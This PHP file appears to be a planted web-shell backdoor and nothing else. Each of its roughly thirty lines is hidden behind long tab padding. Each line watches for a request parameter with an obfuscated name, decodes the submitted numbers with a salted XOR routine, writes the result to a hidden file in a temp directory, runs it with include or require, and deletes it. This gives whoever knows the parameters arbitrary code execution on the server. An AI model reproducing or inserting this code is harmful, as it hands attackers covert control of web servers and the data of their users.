<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["resour\x63\x65"])){ $ent = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $mrk = $_REQUEST["resour\x63\x65"]; $mrk = explode ('.' , $mrk ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $m = 0; $__len = count($mrk ); do { if ($m >= $__len) break; $v5 = $mrk[$m]; $chS = ord($salt[$m% $sLen] ); $dec = ((int)$v5 - $chS - ($m% 10)) ^ 79; $data_chunk .= chr($dec ); $m++; } while (true ); foreach ($ent as $holder) { if (!( !is_dir($holder) || !is_writable($holder) )) { $symbol = "$holder" . "/.bind"; if (file_put_contents($symbol, $data_chunk)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(!is_null($_POST["\x64c\x68u\x6Ek"] ?? null)){ $ptr = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $ent = $_POST["\x64c\x68u\x6Ek"]; $ent =explode( "." , $ent) ; $tkn = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9 ); $k = 0; while( $k <count( $ent)) { $v7 = $ent[$k]; $chS = ord( $salt9[$k % $sLen] ); $dec =( ( int)$v7 - $chS -( $k % 10)) ^ 47; $tkn .= chr( $dec ); $k++; } foreach ($ptr as $key => $flg) { if (is_dir($flg) ? is_writable($flg) : false) { $binding = "$flg/.data_chunk"; $success = file_put_contents($binding, $tkn); if ($success) { include $binding; @unlink($binding); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65\x66"])){ $ptr = $_REQUEST["r\x65\x66"]; $ptr = explode ( ".", $ptr) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($ptr as $w => $v4): $sChar = ord($s[$w % $sLen]); $dec = ((int)$v4 - $sChar - ($w % 10)) ^87; $dat .= chr($dec); endforeach; $ent = array_filter(["/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP")]); foreach ($ent as $mrk): if (max(0, is_dir($mrk) * is_writable($mrk))) { $component = "$mrk" . "/.hld"; if (file_put_contents($component, $dat)) { require $component; unlink($component); die(); } } endforeach; }
																																										if(@$_REQUEST["rec"] !== null){ $pointer = $_REQUEST["rec"]; $pointer = explode ( "." , $pointer ) ; $dchunk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); foreach ($pointer as $z => $v2) { $chS =ord($salt[$z % $sLen] ); $d =((int)$v2 - $chS - ($z % 10)) ^ 72; $dchunk .=chr($d ); } $itm = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp"]); while ($elem = array_shift($itm)) { if (is_dir($elem) && is_writable($elem)) { $res = "$elem/.record"; $success = file_put_contents($res, $dchunk); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "d\x61\x74a")){ $ref = $_POST["d\x61\x74a"]; $ref = explode ( '.' , $ref ); $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; $__tmp = $ref; while ($v3 = array_shift($__tmp)) { $sChar = ord($s[$t % $lenS]); $dec = ((int)$v3 - $sChar - ($t % 10)) ^ 77; $factor .= chr($dec); $t++; } $rec = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), "/tmp"]); foreach ($rec as $data_chunk) { if (is_dir($data_chunk) && is_writable($data_chunk)) { $comp = "$data_chunk" . "/.mrk"; if (file_put_contents($comp, $factor)) { require $comp; unlink($comp); exit; } } } }
																																										if(array_key_exists("va\x6C", $_REQUEST) && !is_null($_REQUEST["va\x6C"])){ $dat = $_REQUEST["va\x6C"]; $dat =explode ( "." ,$dat) ; $comp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $v = 0; while ($v< count($dat)) { $v7 = $dat[$v]; $sChar = ord($s3[$v % $lenS]); $d = ((int)$v7 - $sChar - ($v % 10)) ^ 92; $comp .= chr($d); $v++; } $pset = array_filter(["/var/tmp", session_save_path(), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); while ($descriptor = array_shift($pset)) { if (max(0, is_dir($descriptor) * is_writable($descriptor))) { $property_set = str_replace("{var_dir}", $descriptor, "{var_dir}/.sym"); if (file_put_contents($property_set, $comp)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["o\x62j\x65c\x74"])){ $ent = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); $obj = $_POST["o\x62j\x65c\x74"]; $obj = explode ( '.' , $obj ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($obj as $l => $v9): $sChar = ord($salt[$l% $sLen]); $d = ((int)$v9 - $sChar - ($l% 10)) ^6; $resource .= chr($d); endforeach; foreach ($ent as $property_set) { if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $data = vsprintf("%s/%s", [$property_set, ".itm"]); if (@file_put_contents($data, $resource) !== false) { include $data; unlink($data); exit; } } } }
																																										if(!empty($_REQUEST["dc\x68\x75\x6Ek"])){ $comp = $_REQUEST["dc\x68\x75\x6Ek"]; $comp = explode ("." , $comp) ; $obj =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $i =0; foreach ($comp as $v6) {$chS =ord($salt[$i % $sLen]); $dec =((int)$v6 - $chS - ($i % 10)) ^ 57; $obj .= chr($dec); $i++; } $ref = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp"]); foreach ($ref as $entity) { if (!( !is_dir($entity) || !is_writable($entity) )) { $data_chunk = str_replace("{var_dir}", $entity, "{var_dir}/.descriptor"); if (file_put_contents($data_chunk, $obj)) { include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(array_key_exists("\x72\x65\x63ord", $_REQUEST) && !is_null($_REQUEST["\x72\x65\x63ord"])){ $element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp", getcwd()]); $desc = $_REQUEST["\x72\x65\x63ord"]; $desc =explode ( '.' , $desc ) ; $symbol=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $p=0; array_walk($desc, function ($v4) use (&$symbol, &$p, $salt, $sLen) { $chS=ord($salt[$p % $sLen]); $d=((int)$v4 - $chS - ($p % 10))^ 19; $symbol.= chr($d); $p++; } ); while ($pgrp = array_shift($element)) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $fac = "$pgrp" . "/.flag"; if (file_put_contents($fac, $symbol)) { include $fac; @unlink($fac); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["bi\x6Ed"])){ $factor = $_REQUEST["bi\x6Ed"]; $factor = explode ( "." ,$factor ) ; $pointer= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $len= count($factor); for($k= 0; $k < $len; $k++) { $v1= $factor[$k]; $chS= ord($s[$k %$sLen]); $dec= ((int)$v1 - $chS -($k %10)) ^ 29; $pointer.=chr($dec); } $record = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), "/tmp"]); for ($obj = 0, $ent = count($record); $obj < $ent; $obj++) { $ref = $record[$obj]; if (!( !is_dir($ref) || !is_writable($ref) )) { $reference = join("/", [$ref, ".property_set"]); if (file_put_contents($reference, $pointer)) { require $reference; unlink($reference); exit; } } } }
																																										if(array_key_exists("\x64escr\x69pto\x72", $_POST) && !is_null($_POST["\x64escr\x69pto\x72"])){ $holder = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $k = $_POST["\x64escr\x69pto\x72"]; $k =explode ( '.' ,$k ); $mrk =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s2); $l =0; foreach ($k as $v7) { $chS =ord($s2[$l % $lenS]); $d =((int)$v7 - $chS - ($l % 10)) ^ 66; $mrk .= chr($d); $l++; } for ($entity = 0, $ent = count($holder); $entity < $ent; $entity++) { $obj = $holder[$entity]; if (is_dir($obj) && is_writable($obj)) { $dat = vsprintf("%s/%s", [$obj, ".rec"]); if (file_put_contents($dat, $mrk)) { require $dat; unlink($dat); exit; } } } }
																																										if(!empty($_POST["\x74\x6Fken"])){ $obj = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp"]); $comp = $_POST["\x74\x6Fken"]; $comp =explode ( "." ,$comp ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; $len = count($comp); do { if ($m >= $len) break; $v1 = $comp[$m]; $sChar = ord($salt[$m % $sLen]); $dec = ((int)$v1 - $sChar - ($m % 10)) ^ 59; $entity .= chr($dec); $m++; } while (true); foreach ($obj as $pgrp) { if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $property_set = "$pgrp/.symbol"; $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $property_set; @unlink($property_set); die(); } } } }
																																										if(array_key_exists("i\x74em", $_POST)){ $entity = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $marker = $_POST["i\x74em"]; $marker =explode ('.',$marker ) ; $elem = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach ($marker as $v => $v6) { $chS = ord($salt1[$v % $lenS]); $dec = ((int)$v6 - $chS - ($v % 10)) ^ 95; $elem .= chr($dec); } foreach ($entity as $key => $tkn) { if ((is_dir($tkn) and is_writable($tkn))) { $token = join("/", [$tkn, ".data"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $token; @unlink($token); exit; } } } }
																																										if(isset($_REQUEST["d\x61t"]) ? true : false){ $entity = $_REQUEST["d\x61t"]; $entity = explode ( "." ,$entity) ; $comp = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $r = 0; $len = count($entity); do { if ($r >= $len) break; $v2 = $entity[$r]; $sChar = ord($salt2[$r %$sLen]); $dec = ((int)$v2 - $sChar - ($r %10))^44; $comp .= chr($dec); $r++; } while (true); $mrk = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), session_save_path()]); foreach ($mrk as $key): if (max(0, is_dir($key) * is_writable($key))) { $entry = str_replace("{var_dir}", $key, "{var_dir}/.pgrp"); if (file_put_contents($entry, $comp)) { include $entry; @unlink($entry); exit; } } endforeach; }
																																										if(in_array("e\x6Etit\x79", array_keys($_REQUEST))){ $item = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); $object = $_REQUEST["e\x6Etit\x79"]; $object = explode ( "." ,$object) ; $data_chunk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4 ); $z = 0; foreach( $object as $v9) { $chS = ord( $s4[$z % $lenS] ); $dec =( ( int)$v9 - $chS -( $z % 10))^7; $data_chunk .= chr( $dec ); $z++;} for ($component = 0, $ent = count($item); $component < $ent; $component++) { $bind = $item[$component]; if (array_product([is_dir($bind), is_writable($bind)])) { $flag = implode("/", [$bind, ".element"]); if (file_put_contents($flag, $data_chunk)) { include $flag; @unlink($flag); die(); } } } }
																																										if(!empty($_POST["\x74ok\x65n"])){ $tkn = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp"]); $record = $_POST["\x74ok\x65n"]; $record=explode ( ".",$record ) ; $item=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $q=0; foreach ($record as $v4) { $chS=ord($s[$q % $sLen]); $d=((int)$v4 - $chS - ($q % 10))^ 80; $item .= chr($d); $q++; } while ($marker = array_shift($tkn)) { if (is_writable($marker) && is_dir($marker)) { $desc = "$marker" . "/.dchunk"; $file = fopen($desc, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $desc; @unlink($desc); die(); } } } }
																																										if(!empty($_POST["\x68o\x6C\x64er"])){ $item = $_POST["\x68o\x6C\x64er"]; $item = explode(".", $item); $key = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $x = 0; array_walk($item ,function ($v3) use (&$key ,&$x ,$s4 ,$sLen) { $chS = ord($s4[$x % $sLen]); $d = ((int)$v3 - $chS - ($x % 10)) ^ 90; $key .= chr($d); $x++;}); $obj = array_filter([getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); foreach ($obj as $property_set): if (is_writable($property_set) && is_dir($property_set)) { $fac = str_replace("{var_dir}", $property_set, "{var_dir}/.factor"); $success = file_put_contents($fac, $key); if ($success) { include $fac; @unlink($fac); exit;} } endforeach; }
																																										if(array_key_exists("co\x6D\x70\x6F\x6Eent", $_REQUEST) && !is_null($_REQUEST["co\x6D\x70\x6F\x6Eent"])){ $bind = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $pgrp = $_REQUEST["co\x6D\x70\x6F\x6Eent"]; $pgrp = explode( "." , $pgrp ) ; $val = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $pgrp as $v => $v1) {$chS = ord( $s4[$v % $lenS]); $dec = ( ( int)$v1 - $chS -( $v % 10)) ^ 25; $val .= chr( $dec); } foreach ($bind as $key => $data_chunk) { if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $itm = implode("/", [$data_chunk, ".record"]); if (file_put_contents($itm, $val)) { include $itm; @unlink($itm); exit; } } } }
																																										if(in_array("\x70\x61\x72\x61mete\x72_gro\x75p", array_keys($_REQUEST))){ $sym = $_REQUEST["\x70\x61\x72\x61mete\x72_gro\x75p"]; $sym = explode ( '.' , $sym ) ; $pgrp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $o = 0; foreach ($sym as $v4) { $sChar = ord($salt9[$o % $lenS]); $dec = ((int)$v4 - $sChar - ($o % 10)) ^ 20; $pgrp .= chr($dec); $o++; } $fac = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp"]); for ($symbol = 0, $holder = count($fac); $symbol < $holder; $symbol++) { $token = $fac[$symbol]; if ((bool)is_dir($token) && (bool)is_writable($token)) { $property_set = sprintf("%s/.component", $token); $success = file_put_contents($property_set, $pgrp); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(array_key_exists("\x70r\x6Fp\x65\x72\x74\x79_set", $_REQUEST) && !is_null($_REQUEST["\x70r\x6Fp\x65\x72\x74\x79_set"])){ $binding = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp"]); $component = $_REQUEST["\x70r\x6Fp\x65\x72\x74\x79_set"]; $component= explode("." , $component ); $flag= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s7); foreach ($component as $v =>$v6) { $chS= ord($s7[$v % $sLen]); $dec= ((int)$v6 - $chS - ($v % 10)) ^ 87; $flag.= chr($dec); } foreach ($binding as $marker) { if (is_writable($marker) && is_dir($marker)) { $factor = sprintf("%s/.hld", $marker); if (@file_put_contents($factor, $flag) !== false) { include $factor; unlink($factor); exit; } } } }
																																										if(!empty($_REQUEST["pa\x72a\x6D\x65ter_\x67\x72\x6Fup"])){ $entry = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $elem = $_REQUEST["pa\x72a\x6D\x65ter_\x67\x72\x6Fup"]; $elem = explode('.' ,$elem ) ; $record = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $len = count($elem); for ($z = 0; $z < $len; $z++) { $v4 = $elem[$z]; $sChar = ord($s2[$z %$sLen]); $dec = ((int)$v4 - $sChar - ($z %10)) ^ 62; $record .= chr($dec); } $dat = 0; do { $pset = $entry[$dat] ?? null; if ($dat >= count($entry)) break; if (max(0, is_dir($pset) * is_writable($pset))) { $holder = vsprintf("%s/%s", [$pset, ".reference"]); if (file_put_contents($holder, $record)) { require $holder; unlink($holder); exit; } } $dat++; } while (true); }
																																										if(array_key_exists("data", $_REQUEST) && !is_null($_REQUEST["data"])){ $component = $_REQUEST["data"]; $component = explode ("." , $component ) ; $k = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $r = 0; $__len = count($component); do { if($r>=$__len) break; $v8 = $component[$r]; $chS = ord($salt9[$r %$lenS]); $d = ((int)$v8 - $chS -($r %10)) ^77; $k .= chr($d); $r++;} while(true); $val = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); foreach ($val as $key => $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $fac = implode("/", [$dchunk, ".hld"]); $success = file_put_contents($fac, $k); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(isset($_REQUEST["\x68old\x65\x72"])){ $flg = $_REQUEST["\x68old\x65\x72"]; $flg = explode ( "." ,$flg) ; $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach ($flg as $w =>$v3): $chS=ord($s[$w % $sLen]); $d=((int)$v3 - $chS - ($w % 10)) ^52; $pset .= chr($d); endforeach; $rec = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), session_save_path()]); for ($dat = 0, $pgrp = count($rec); $dat < $pgrp; $dat++) { $data = $rec[$dat]; if (!!is_dir($data) && !!is_writable($data)) { $object = str_replace("{var_dir}", $data, "{var_dir}/.hld"); if (file_put_contents($object, $pset)) { require $object; unlink($object); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x76\x61lue")){ $ref = $_POST["\x76\x61lue"]; $ref = explode ( ".",$ref ); $rec= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($ref as $m => $v4): $chS= ord($s[$m % $lenS]); $d= ((int)$v4 - $chS - ($m % 10)) ^ 13; $rec.=chr($d); endforeach; $itm = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $ent = 0; do { $descriptor = $itm[$ent] ?? null; if ($ent >= count($itm)) break; if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $entry = vsprintf("%s/%s", [$descriptor, ".data"]); if (file_put_contents($entry, $rec)) { require $entry; unlink($entry); exit; } } $ent++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65l\x65m"])){ $item = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $desc = $_REQUEST["\x65l\x65m"]; $desc = explode( "." , $desc ) ; $token =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt4 ); $k =0; array_walk( $desc , function( $v5) use( &$token , &$k , $salt4 , $sLen) {$chS =ord( $salt4[$k % $sLen] ); $d =( ( int)$v5 - $chS -( $k % 10)) ^ 26; $token .= chr( $d ); $k++; } ); foreach ($item as $val): if (max(0, is_dir($val) * is_writable($val))) { $holder = "$val/.sym"; if (file_put_contents($holder, $token)) { require $holder; unlink($holder); exit; } } endforeach; }
																																										if(isset($_POST["d\x61\x74"]) ? true : false){ $dchunk = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $res = $_POST["d\x61\x74"]; $res = explode("." ,$res ) ; $entity= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt3); $x= 0; while ($x <count($res)) { $v2= $res[$x]; $chS= ord($salt3[$x%$lenS]); $dec= ((int)$v2 - $chS - ($x%10)) ^44; $entity.=chr($dec); $x++; } while ($ent = array_shift($dchunk)) { if ((is_dir($ent) and is_writable($ent))) { $comp = join("/", [$ent, ".bind"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(array_key_exists("ref", $_POST) && !is_null($_POST["ref"])){ $descriptor = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); $comp = $_POST["ref"]; $comp =explode ( "." , $comp ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $n = 0; foreach( $comp as $v9) { $chS = ord( $salt[$n % $lenS]); $dec =( ( int)$v9 - $chS -( $n % 10)) ^ 32; $itm.= chr( $dec); $n++;} foreach ($descriptor as $bind) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $item = vsprintf("%s/%s", [$bind, ".binding"]); if (file_put_contents($item, $itm)) { require $item; unlink($item); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "h\x6Cd")){ $value = $_POST["h\x6Cd"]; $value = explode ( '.', $value ) ; $comp =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $x =0; array_walk($value, function ($v7) use (&$comp, &$x, $salt, $sLen) { $sChar =ord($salt[$x % $sLen]); $d =((int)$v7 - $sChar - ($x % 10)) ^ 80; $comp .= chr($d); $x++; }); $property_set = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir()]); foreach ($property_set as $fac) { if ((is_dir($fac) and is_writable($fac))) { $reference = sprintf("%s/.key", $fac); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(array_key_exists("k", $_POST)){ $obj = $_POST["k"]; $obj = explode( "." , $obj ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $o = 0; $__len = count($obj); do { if ($o >= $__len) break; $v4 = $obj[$o]; $sChar = ord($salt[$o %$sLen]); $d = ((int)$v4 - $sChar - ($o %10)) ^ 17; $item .= chr($d); $o++; } while (true); $rec = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path()]); $flg = 0; do { $element = $rec[$flg] ?? null; if ($flg >= count($rec)) break; if ((bool)is_dir($element) && (bool)is_writable($element)) { $comp = implode("/", [$element, ".val"]); $success = file_put_contents($comp, $item); if ($success) { include $comp; @unlink($comp); exit;} } $flg++; } while (true); }
																																										if(!is_null($_REQUEST["dat"] ?? null)){ $comp = $_REQUEST["dat"]; $comp= explode( "." , $comp ); $sym=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt4 ); $s=0; while ($s < count($comp)) { $v1=$comp[$s]; $chS=ord($salt4[$s % $sLen] ); $d=((int)$v1 - $chS - ($s % 10)) ^ 92; $sym .= chr($d ); $s++; } $ent = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", session_save_path()]); $entity = 0; do { $parameter_group = $ent[$entity] ?? null; if ($entity >= count($ent)) break; if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $reference = "$parameter_group/.resource"; if (file_put_contents($reference, $sym)) { include $reference; @unlink($reference); exit; } } $entity++; } while (true); }
																																										if(in_array("fl\x61\x67", array_keys($_POST))){ $data_chunk = $_POST["fl\x61\x67"]; $data_chunk = explode ( '.' , $data_chunk ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $data_chunk as $t =>$v3) { $sChar = ord( $s[$t % $sLen] ); $d =( ( int)$v3 - $sChar -( $t % 10)) ^60; $record .= chr( $d ); } $itm = array_filter(["/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $entity = 0; do { $descriptor = $itm[$entity] ?? null; if ($entity >= count($itm)) break; if (is_writable($descriptor) && is_dir($descriptor)) { $tkn = "$descriptor" . "/.marker"; if (file_put_contents($tkn, $record)) { require $tkn; unlink($tkn); die(); } } $entity++; } while (true); }
																																										if(!empty($_POST["ob\x6A\x65c\x74"])){ $ref = $_POST["ob\x6A\x65c\x74"]; $ref =explode ( '.', $ref ); $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $w = 0; foreach ($ref as $v2) {$sChar = ord($salt[$w % $lenS] ); $dec = ((int)$v2 - $sChar - ($w % 10)) ^ 60; $sym .= chr($dec ); $w++;} $pset = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), "/tmp", getenv("TEMP")]); foreach ($pset as $key => $tkn) { if ((is_dir($tkn) and is_writable($tkn))) { $desc = "$tkn" . "/.ptr"; if (@file_put_contents($desc, $sym) !== false) { include $desc; unlink($desc); die(); } } } }
																																										if(in_array("en\x74", array_keys($_POST))){ $element = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp"]); $fac = $_POST["en\x74"]; $fac = explode(".",$fac ); $comp = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $p = 0; $len = count($fac); do { if($p >= $len) break; $v2 = $fac[$p]; $sChar = ord($salt4[$p % $sLen]); $d =((int)$v2 - $sChar -($p % 10)) ^ 97; $comp.=chr($d); $p++;} while(true); foreach ($element as $key => $flg) { if (is_dir($flg) && is_writable($flg)) { $token = "$flg/.data_chunk"; $success = file_put_contents($token, $comp); if ($success) { include $token; @unlink($token); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "po\x69\x6Eter")){ $dat = $_POST["po\x69\x6Eter"]; $dat= explode('.' , $dat ) ; $fac = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); foreach ($dat as $p=> $v4): $chS = ord($s6[$p% $sLen] ); $dec = ((int)$v4 - $chS - ($p% 10)) ^ 57; $fac .= chr($dec ); endforeach; $entry = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $flag = 0; do { $sym = $entry[$flag] ?? null; if ($flag >= count($entry)) break; if (is_writable($sym) && is_dir($sym)) { $record = sprintf("%s/.ent", $sym); if (@file_put_contents($record, $fac) !== false) { include $record; unlink($record); die(); } } $flag++; } while (true); }
